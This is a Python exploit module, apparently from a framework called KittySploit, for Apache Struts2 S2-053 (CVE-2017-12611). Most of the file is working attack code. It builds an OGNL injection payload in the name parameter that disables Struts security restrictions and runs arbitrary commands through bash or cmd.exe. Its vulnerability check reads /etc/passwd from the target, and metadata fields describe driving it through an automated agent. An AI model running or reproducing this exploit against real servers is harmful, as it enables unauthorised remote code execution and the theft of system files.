Apache Struts2 S2-053 OGNL RCE (CVE-2017-12611)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-053 Freemarker OGNL RCE (CVE-2017-12611)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Struts2 S2-053 OGNL RCE (CVE-2017-12611)',
        'description': (
            'Exploits CVE-2017-12611 (S2-053) in Apache Struts 2 via Freemarker '
            'tag OGNL injection in the name parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-12611'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://struts.apache.org/docs/s2-053.html',
        ],
        'tags': ['struts', 'apache', 'ognl', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_12611_detect'],
            },
        },
    }

    def _ognl_payload(self, cmd: str) -> str:
        safe = urllib.parse.quote(str(cmd))
        raw = (
            '%{(#[email protected]@DEFAULT_MEMBER_ACCESS).'
            '(#_memberAccess?(#_memberAccess=#dm):'
            '((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).'
            '(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).'
            '(#ognlUtil.getExcludedPackageNames().clear()).'
            '(#ognlUtil.getExcludedClasses().clear()).'
            '(#context.setMemberAccess(#dm)))).'
            f'(#cmd=\'{cmd}\').'
            '(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\')))'
            '.(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).'
            '(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).'
            '(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}'
        )
        return f'/?name={urllib.parse.quote(raw, safe="")}'

    def execute(self, cmd: str) -> str:
        r = self.http_request(method='POST', path=self._ognl_payload(cmd), allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2017-12611 S2-053 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No command output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()